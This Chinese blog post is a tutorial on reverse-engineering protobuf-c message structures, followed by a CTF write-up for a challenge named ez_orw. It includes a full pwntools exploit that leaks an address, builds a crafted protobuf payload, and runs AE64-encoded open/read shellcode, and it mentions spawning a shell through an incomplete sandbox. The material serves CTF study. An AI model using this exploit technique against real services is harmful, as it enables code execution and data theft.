Protobuf (Protocol Buffers) 是谷歌开发的一款无关平台,无关语言,可扩展,轻量级高效的序列化结构的数据格式,用于将自定义数据结构序列化成字节流,和将字节流反序列化为数据结构。所以很适合做数据存储和为不同语言,不同应用之间互相通信的数据交换格式,只要实现相同的协议格式,即后缀为proto文件被编译成不同的语言版本,加入各自的项目中,这样不同的语言可以解析其它语言通过Protobuf序列化的数据。目前官方提供c++,java,go等语言支持。

使用

首先定义一个.proto文件

1
2
3
4
5
6
7
8
syntax = "proto2";

message devicemsg{
required sint64 actionid = 1;
required sint64 msgidx = 2;
required sint64 msgsize = 3;
required bytes msgcontent = 4;
}

然后根据要通过c或者python来使用,来使用相应的命令

1
2
protoc --c_out=. test.proto
protoc --python_out=. test.proto

c_out会生成一个test.pb-c.ctest.pb-c.h文件

python_out会生成一个test_pb2.py文件

逆向

1
2
3
4
5
6
7
8
9
10
Devicemsg *
devicemsg__unpack
(ProtobufCAllocator *allocator,
size_t len,
const uint8_t *data)
{
return (Devicemsg *)
protobuf_c_message_unpack (&devicemsg__descriptor,
allocator, len, data);
}

返回的是一个Devicemsg指针,三个参数:

  • allocator一般置0即可
  • len是长度,通过devicemsg__get_packed_size获取即可
  • data就是指向序列化的字节流

可以发现devicemsg_unpack就是protobuf_c_message_unpack的封装

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const ProtobufCMessageDescriptor devicemsg__descriptor =
{
PROTOBUF_C__MESSAGE_DESCRIPTOR_MAGIC,
"devicemsg",
"Devicemsg",
"Devicemsg",
"",
sizeof(Devicemsg),
4,
devicemsg__field_descriptors,
devicemsg__field_indices_by_name,
1, devicemsg__number_ranges,
(ProtobufCMessageInit) devicemsg__init,
NULL,NULL,NULL /* reserved[123] */
};

这个结构体的定义在源码中是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
struct ProtobufCMessageDescriptor {
/** Magic value checked to ensure that the API is used correctly. */
uint32_t magic;

/** The qualified name (e.g., "namespace.Type"). */
const char *name;
/** The unqualified name as given in the .proto file (e.g., "Type"). */
const char *short_name;
/** Identifier used in generated C code. */
const char *c_name;
/** The dot-separated namespace. */
const char *package_name;

/**
* Size in bytes of the C structure representing an instance of this
* type of message.
*/
size_t sizeof_message;

/** Number of elements in `fields`. */
unsigned n_fields;
/** Field descriptors, sorted by tag number. */
const ProtobufCFieldDescriptor *fields;
/** Used for looking up fields by name. */
const unsigned *fields_sorted_by_name;

/** Number of elements in `field_ranges`. */
unsigned n_field_ranges;
/** Used for looking up fields by id. */
const ProtobufCIntRange *field_ranges;

/** Message initialisation function. */
ProtobufCMessageInit message_init;

/** Reserved for future use. */
void *reserved1;
/** Reserved for future use. */
void *reserved2;
/** Reserved for future use. */
void *reserved3;
};
  1. magic,一般为0x28AAEEF9
  2. n_fields,是原本的massage有多少参数
  3. fields,这个指向message内所有参数类型组成的一个数组,可以借此逆向分析message结构。

如果需要具体分析一个结构体的组成,只需要关注n_fieldsfields

在本例中这样定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
static const ProtobufCFieldDescriptor devicemsg__field_descriptors[4] =
{
{
"actionid",
1,
PROTOBUF_C_LABEL_REQUIRED,
PROTOBUF_C_TYPE_SINT64,
0, /* quantifier_offset */
offsetof(Devicemsg, actionid),
NULL,
NULL,
0, /* flags */
0,NULL,NULL /* reserved1,reserved2, etc */
},
{
"msgidx",
2,
PROTOBUF_C_LABEL_REQUIRED,
PROTOBUF_C_TYPE_SINT64,
0, /* quantifier_offset */
offsetof(Devicemsg, msgidx),
NULL,
NULL,
0, /* flags */
0,NULL,NULL /* reserved1,reserved2, etc */
},
{
"msgsize",
3,
PROTOBUF_C_LABEL_REQUIRED,
PROTOBUF_C_TYPE_SINT64,
0, /* quantifier_offset */
offsetof(Devicemsg, msgsize),
NULL,
NULL,
0, /* flags */
0,NULL,NULL /* reserved1,reserved2, etc */
},
{
"msgcontent",
4,
PROTOBUF_C_LABEL_REQUIRED,
PROTOBUF_C_TYPE_BYTES,
0, /* quantifier_offset */
offsetof(Devicemsg, msgcontent),
NULL,
NULL,
0, /* flags */
0,NULL,NULL /* reserved1,reserved2, etc */
},
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
struct ProtobufCFieldDescriptor {
/** Name of the field as given in the .proto file. */
const char *name;

/** Tag value of the field as given in the .proto file. */
uint32_t id;

/** Whether the field is `REQUIRED`, `OPTIONAL`, or `REPEATED`. */
ProtobufCLabel label;

/** The type of the field. */
ProtobufCType type;

/**
* The offset in bytes of the message's C structure's quantifier field
* (the `has_MEMBER` field for optional members or the `n_MEMBER` field
* for repeated members or the case enum for oneofs).
*/
unsigned quantifier_offset;

/**
* The offset in bytes into the message's C structure for the member
* itself.
*/
unsigned offset;

/**
* A type-specific descriptor.
*
* If `type` is `PROTOBUF_C_TYPE_ENUM`, then `descriptor` points to the
* corresponding `ProtobufCEnumDescriptor`.
*
* If `type` is `PROTOBUF_C_TYPE_MESSAGE`, then `descriptor` points to
* the corresponding `ProtobufCMessageDescriptor`.
*
* Otherwise this field is NULL.
*/
const void *descriptor; /* for MESSAGE and ENUM types */

/** The default value for this field, if defined. May be NULL. */
const void *default_value;

/**
* A flag word. Zero or more of the bits defined in the
* `ProtobufCFieldFlag` enum may be set.
*/
uint32_t flags;

/** Reserved for future use. */
unsigned reserved_flags;
/** Reserved for future use. */
void *reserved2;
/** Reserved for future use. */
void *reserved3;
};
  1. name,名字,变量名
  2. id,序号,即在message结构体中的顺序(等价于位置)
  3. label,前面标记的required等标记
  4. type,数据类型,string还是int64等
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
typedef enum {
PROTOBUF_C_TYPE_INT32, /**< int32 */
PROTOBUF_C_TYPE_SINT32, /**< signed int32 */
PROTOBUF_C_TYPE_SFIXED32, /**< signed int32 (4 bytes) */
PROTOBUF_C_TYPE_INT64, /**< int64 */
PROTOBUF_C_TYPE_SINT64, /**< signed int64 */
PROTOBUF_C_TYPE_SFIXED64, /**< signed int64 (8 bytes) */
PROTOBUF_C_TYPE_UINT32, /**< unsigned int32 */
PROTOBUF_C_TYPE_FIXED32, /**< unsigned int32 (4 bytes) */
PROTOBUF_C_TYPE_UINT64, /**< unsigned int64 */
PROTOBUF_C_TYPE_FIXED64, /**< unsigned int64 (8 bytes) */
PROTOBUF_C_TYPE_FLOAT, /**< float */
PROTOBUF_C_TYPE_DOUBLE, /**< double */
PROTOBUF_C_TYPE_BOOL, /**< boolean */
PROTOBUF_C_TYPE_ENUM, /**< enumerated type */
PROTOBUF_C_TYPE_STRING, /**< UTF-8 or ASCII string */
PROTOBUF_C_TYPE_BYTES, /**< arbitrary byte sequence */
PROTOBUF_C_TYPE_MESSAGE, /**< nested message */
} ProtobufCType;

貌似是0-0Ah顺序的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
typedef enum {
/** A well-formed message must have exactly one of this field. */
PROTOBUF_C_LABEL_REQUIRED,

/**
* A well-formed message can have zero or one of this field (but not
* more than one).
*/
PROTOBUF_C_LABEL_OPTIONAL,

/**
* This field can be repeated any number of times (including zero) in a
* well-formed message. The order of the repeated values will be
* preserved.
*/
PROTOBUF_C_LABEL_REPEATED,

/**
* This field has no label. This is valid only in proto3 and is
* equivalent to OPTIONAL but no "has" quantifier will be consulted.
*/
PROTOBUF_C_LABEL_NONE,
} ProtobufCLabel;

ida结构体

为了方便在ida中查看相关结构体,可以将上述的两个结构体插入ida,当然需要处理一些不相关的数据

ProtobufCMessageDescriptor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
struct ProtobufCMessageDescriptor
{
uint32_t magic;
const char *name;
const char *short_name;
const char *c_name;
const char *package_name;
size_t sizeof_message;
unsigned int n_fields;
const ProtobufCFieldDescriptor *fields;
const unsigned int *fields_sorted_by_name;
unsigned int n_field_ranges;
char *field_ranges;
__int64 message_init;
void *reserved1;
void *reserved2;
void *reserved3;
};

ProtobufCFieldDescriptor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
struct ProtobufCFieldDescriptor
{
const char *name;
uint32_t id;
int label;
int type;
unsigned int quantifier_offset;
unsigned int offset;
const void *descriptor;
const void *default_value;
uint32_t flags;
unsigned int reserved_flags;
void *reserved2;
void *reserved3;
};

上述这两个结构体可以直接导入ida,然后通过unpack来寻找即可

1
2
3
4
5
6
7
8
struct ProtobufCMessage {
/** The descriptor for this message type. */
void *descriptor;
/** The number of elements in `unknown_fields`. */
unsigned n_unknown_fields;
/** The fields that weren't recognized by the parser. */
void *unknown_fields;
};
1
2
3
4
struct ProtobufCBinaryData {
size_t len; /**< Number of bytes in the `data` field. */
uint8_t *data; /**< Data bytes. */
};
1
2
3
4
5
6
7
8
struct  _Devicemsg
{
ProtobufCMessage base;
int64_t giaoid;
int64_t giaosize;
ProtobufCBinaryData giaocontent;
ProtobufCBinaryData giaotoken;
};

这个_Devicemsg要通过proto -c_out=. xxx.proto有一个.h文件,其中就可以找到对应的定义,然后unpack的返回值就是这个结构体了

例题

2025ccb决赛_orw

有花指令,简单去花:首先把一些恒真的指令给置为jmp,再把一些间接跳转换成直接跳转,然后再把main函数给create function

edit->function->create function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
_QWORD v3[2]; // [rsp+0h] [rbp-10h] BYREF

v3[1] = __readfsqword(0x28u);
sub_16FE(a1, a2, a3);
puts("DO U love xiao/a/giao?");
while ( 1 )
{
__isoc99_scanf("%llx", v3);
if ( (char *)v3[0] == "yes" )
{
puts("I'll give you a replacement egg");
sub_1D96();
}
else
{
puts("I won't even give you eggs to replenish");
}
__isoc99_scanf("%d", &dword_5008);
if ( dword_5008 <= 255 )
printf("%p", &dword_5008);
}
}

首先要输入一个地址,这个地址的值上的值是yes,之后就会进入一个真正的主function

然后输入一个&dd_5008只要满足<=255,就会泄露一个地址,然后就能完成上面的条件了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
unsigned __int64 sub_1D96()
{
unsigned __int64 v1; // [rsp+8h] [rbp-118h]
_BYTE buf[264]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v3; // [rsp+118h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("your giao: ");
v1 = read(0, buf, 0x100uLL);
qword_5058 = sub_218D(0LL, v1, buf);
if ( !qword_5058 )
{
puts("your giao is error");
exit(0);
}
if ( (unsigned int)sub_19A1(*(_QWORD *)(qword_5058 + 64)) )
{
if ( *(_QWORD *)(qword_5058 + 24) == 1131796LL && *(_QWORD *)(qword_5058 + 32) == 4281361LL )
{
sub_1908(*(_QWORD *)(qword_5058 + 48), (unsigned int)*(_QWORD *)(qword_5058 + 40));
sub_17CC();
if ( *(_QWORD *)(qword_5058 + 40) < (unsigned __int64)dword_5008 && v1 <= 0xFF )
{
memcpy(dest, *(const void **)(qword_5058 + 48), *(_QWORD *)(qword_5058 + 40));
((void (*)(void))dest)();
}
}
}
return v3 - __readfsqword(0x28u);
}

经过简单分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
.data.rel.ro:0000000000004B20 ; ===========================================================================
.data.rel.ro:0000000000004B20
.data.rel.ro:0000000000004B20 ; Segment type: Pure data
.data.rel.ro:0000000000004B20 ; Segment permissions: Read/Write
.data.rel.ro:0000000000004B20 _data_rel_ro segment align_32 public 'DATA' use64
.data.rel.ro:0000000000004B20 assume cs:_data_rel_ro
.data.rel.ro:0000000000004B20 ;org 4B20h
.data.rel.ro:0000000000004B20 stru_4B20 ProtobufCFieldDescriptor <offset aGiaoid, 1, 3, 3, 0, 18h, 0, 0, 0, 0,\
.data.rel.ro:0000000000004B20 ; DATA XREF: .data.rel.ro:stru_4C40↓o ; "giaoid"
.data.rel.ro:0000000000004B20 0, 0>
.data.rel.ro:0000000000004B68 ProtobufCFieldDescriptor <offset aGiaosize, 2, 3, 3, 0, 20h, 0, 0, 0, \ ; "giaosize"
.data.rel.ro:0000000000004B68 0, 0, 0>
.data.rel.ro:0000000000004BB0 ProtobufCFieldDescriptor <offset aGiaocontent, 3, 3, 0Fh, 0, 28h, 0, \ ; "giaocontent"
.data.rel.ro:0000000000004BB0 0, 0, 0, 0, 0>
.data.rel.ro:0000000000004BF8 ProtobufCFieldDescriptor <offset aGiaotoken, 4, 3, 0Fh, 0, 38h, 0, 0, \ ; "giaotoken"
.data.rel.ro:0000000000004BF8 0, 0, 0, 0>
.data.rel.ro:0000000000004C40 stru_4C40 ProtobufCMessageDescriptor <28AAEEF9h, offset aGiaoMsgiao, \
.data.rel.ro:0000000000004C40 ; DATA XREF: sub_2004+5B↑o
.data.rel.ro:0000000000004C40 ; sub_206C+17↑o ...
.data.rel.ro:0000000000004C40 offset aMsgiao, offset aGiaoMsgiao_0, \ ; "giao.msgiao"
.data.rel.ro:0000000000004C40 offset aGiao, 48h, 4, offset stru_4B20, \ ; "Msgiao"
.data.rel.ro:0000000000004C40 offset unk_3110, 1, offset unk_3120, \
.data.rel.ro:0000000000004C40 2004h, 0, 0, 0>

定义.proto

1
2
3
4
5
6
7
8
syntax = "proto2";

message devicemsg{
required int64 giaoid = 1;
required int64 giaosize = 2;
required bytes giaocontent = 3;
required bytes giaotoken = 4;
}

经过上述ida结构体的定义可以得到以下的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
unsigned __int64 sub_1D96()
{
unsigned __int64 v1; // [rsp+8h] [rbp-118h]
_BYTE buf[264]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v3; // [rsp+118h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("your giao: ");
v1 = read(0, buf, 0x100uLL);
giao_message = (_Devicemsg *)unpack(0LL, v1, (__int64)buf);
if ( !giao_message )
{
puts("your giao is error");
exit(0);
}
if ( sub_19A1((const char *)giao_message->giaotoken.data)
&& giao_message->giaoid == 1131796
&& giao_message->giaosize == 4281361 )
{
sub_1908(giao_message->giaocontent.data, (unsigned int)giao_message->giaocontent.len);
sub_17CC();
if ( giao_message->giaocontent.len < dword_5008 && v1 <= 0xFF )
{
memcpy(dest, giao_message->giaocontent.data, giao_message->giaocontent.len);
((void (*)(void))dest)();
}
}
return v3 - __readfsqword(0x28u);
}

可以看出是一个orw的shellcode的写入,shellcode的内容就是content的内容,其中长度要小于之前写入dd_5008的值且小于0x100,但是token和giaoid,giaosize都要满足相对应的值,才能进入相应的分支

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
_BOOL8 __fastcall sub_19A1(const char *a1)
{
size_t v1; // rax
int i; // [rsp+18h] [rbp-258h]
int v4; // [rsp+1Ch] [rbp-254h]
char s[8]; // [rsp+20h] [rbp-250h] BYREF
unsigned __int64 v6; // [rsp+28h] [rbp-248h]
unsigned __int64 v7; // [rsp+30h] [rbp-240h]
unsigned __int64 v8; // [rsp+38h] [rbp-238h]
int v9; // [rsp+40h] [rbp-230h]
_QWORD v10[32]; // [rsp+50h] [rbp-220h] BYREF
_WORD v11[12]; // [rsp+150h] [rbp-120h] BYREF
__int64 v12; // [rsp+168h] [rbp-108h]
__int64 v13; // [rsp+170h] [rbp-100h]
__int64 v14; // [rsp+178h] [rbp-F8h]
__int64 v15; // [rsp+180h] [rbp-F0h]
__int64 v16; // [rsp+188h] [rbp-E8h]
__int64 v17; // [rsp+190h] [rbp-E0h]
__int64 v18; // [rsp+198h] [rbp-D8h]
__int64 v19; // [rsp+1A0h] [rbp-D0h]
__int64 v20; // [rsp+1A8h] [rbp-C8h]
__int64 v21; // [rsp+1B0h] [rbp-C0h]
__int64 v22; // [rsp+1B8h] [rbp-B8h]
__int64 v23; // [rsp+1C0h] [rbp-B0h]
__int64 v24; // [rsp+1C8h] [rbp-A8h]
__int64 v25; // [rsp+1D0h] [rbp-A0h]
__int64 v26; // [rsp+1D8h] [rbp-98h]
__int64 v27; // [rsp+1E0h] [rbp-90h]
__int64 v28; // [rsp+1E8h] [rbp-88h]
__int64 v29; // [rsp+1F0h] [rbp-80h]
__int64 v30; // [rsp+1F8h] [rbp-78h]
__int64 v31; // [rsp+200h] [rbp-70h]
__int64 v32; // [rsp+208h] [rbp-68h]
__int64 v33; // [rsp+210h] [rbp-60h]
__int64 v34; // [rsp+218h] [rbp-58h]
__int64 v35; // [rsp+220h] [rbp-50h]
__int64 v36; // [rsp+228h] [rbp-48h]
__int64 v37; // [rsp+230h] [rbp-40h]
__int64 v38; // [rsp+238h] [rbp-38h]
__int64 v39; // [rsp+240h] [rbp-30h]
__int64 v40; // [rsp+248h] [rbp-28h]
unsigned __int64 v41; // [rsp+258h] [rbp-18h]

v41 = __readfsqword(0x28u);
memset(v10, 0, sizeof(v10));
strcpy((char *)v11, "114514giaogiaogiao99");
HIBYTE(v11[10]) = 0;
v11[11] = 0;
v12 = 0LL;
v13 = 0LL;
v14 = 0LL;
v15 = 0LL;
v16 = 0LL;
v17 = 0LL;
v18 = 0LL;
v19 = 0LL;
v20 = 0LL;
v21 = 0LL;
v22 = 0LL;
v23 = 0LL;
v24 = 0LL;
v25 = 0LL;
v26 = 0LL;
v27 = 0LL;
v28 = 0LL;
v29 = 0LL;
v30 = 0LL;
v31 = 0LL;
v32 = 0LL;
v33 = 0LL;
v34 = 0LL;
v35 = 0LL;
v36 = 0LL;
v37 = 0LL;
v38 = 0LL;
v39 = 0LL;
v40 = 0LL;
*(_QWORD *)s = 0xB95FA87BA6AF366ALL;
v6 = 0x918D1C0CC7837D63LL;
v7 = 0xF877F9B36B6EF2D3LL;
v8 = 0x8EFDECFCE888E2BFLL;
v9 = 1090425597;
v4 = strlen(s);
v1 = strlen((const char *)v11);
sub_1417(v10, v11, v1);
sub_15EC(v10, a1, v4, v11);
for ( i = 0; i < strlen(a1); ++i )
;
return strcmp(a1, s) == 0;
}

一看就是一个复杂的加解密过程,不过我简单分析得出giaotoken在这个解密中,不会因为giaotoken的改变而发生key的改变,且解密只是一个简单的异或操作,因此可以把114514giaogiaogiao99输入进去就能获得giaotoken

image-20250513201404551

进入了最终分支之后,发现对shellcode的字节有做要求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
__int64 __fastcall sub_1908(__int64 a1, unsigned int a2)
{
__int64 result; // rax
unsigned int v3; // [rsp+4h] [rbp-1Ch]
unsigned int i; // [rsp+1Ch] [rbp-4h]

v3 = a2;
if ( *(_BYTE *)(a2 - 1 + a1) == 10 )
{
*(_BYTE *)(a2 - 1 + a1) = 0;
v3 = a2 - 1;
}
for ( i = 0; ; ++i )
{
result = i;
if ( v3 <= i )
break;
if ( *(char *)((int)i + a1) <= '\x1F' || *(_BYTE *)((int)i + a1) == '\x7F' )
{
puts("Oops!");
exit(0);
}
}
return result;
}

不能是小于\x1F\x7F,那么AE64一把梭即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
from ctypes import *
import struct
from ae64 import AE64
import giao_pb2
context(os='linux' , arch='amd64' , log_level='debug')

# libc=ELF('./libc.so.6')
path='./ez_orw'
elf=ELF(path)

amd64shell=b"RRYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXAA"
ae64 = AE64()

r =lambda num=4096 :p.recv(num)
ru =lambda content,drop=False :p.recvuntil(content,drop)
rl =lambda :p.recvline()
sla =lambda flag,content :p.sendlineafter(flag,content)
sa =lambda flag,content :p.sendafter(flag,content)
sl =lambda content :p.sendline(content)
s =lambda content :p.send(content)
irt =lambda :p.interactive()
tbs =lambda content :str(content).encode()
leak=lambda s,n :print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
fmt =lambda string :eval(f"f'''{string}'''", globals()).encode()
r64 =lambda :u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))
#fmt('%{one_gadget & 0xffff}c')
local=1

def run():
if local:
return process(path)
return remote('100.100.1.16',6498)

def debug(duan=None):
if local:
if duan:
gdb.attach(p, duan)
else:
gdb.attach(p)
pause()

p = run()

sla(b'giao?\n',b'1')
sla(b'replenish\n',b'255')
ru(b'0x')
yes_addr=int(r(12),16)-0x1fc7
leak("yes_addr",yes_addr)
sl((hex(yes_addr)[2:]))
# debug()
giao=giao_pb2.devicemsg()
giao.giaoid=1131796
giao.giaosize=4281361
# giao.giaotoken=b'\x6A\x36\xAF\xA6\x7b\xA8\x5F\xB9\x63\x7D\x83\xC7\x0C\x1C\x8D\x91\xD3\xF2\x6E\x6B\xB3\xF9\x77\xF8\xBF\xE2\x88\xE8\xFC\xEC\xFD\x8E\xfd\x92\xFE\x40\x00'
giao.giaotoken=b'87dd78e1-9025-4d57-9c2e-418608b3bbea'

shellcode=asm(shellcraft.read(0,'rax',0x400))
new_shellcode=ae64.encode(shellcode,'rax')

giao.giaocontent=new_shellcode
# debug("b *$rebase(0x0000000000001D67)")
payload = giao.SerializeToString()
sa(b'giao: ',payload)

orw_shell=asm(shellcraft.open("/flag")+shellcraft.sendfile(1,3,0,48))
sl(0x100*b'\x90'+orw_shell)
irt()

如此,不过比赛的时候,不知道为何远程环境没打通,但是通过execve直接getshell就通了,这个沙盒的第二个prctl返回值显示是0xffffffff,所以沙盒并没有完全开起来,还是可以进行getshell

总的来说,protobuf pwn就是多了一个逆向结构体的过程,也大差不差了

有一个要注意的就是在发送protobuf pack后的字节序列的时候,应该通过send或sendafter,而不能用sendline,因为多了一个\n会导致unpack的失败,有一些师傅在这里会出问题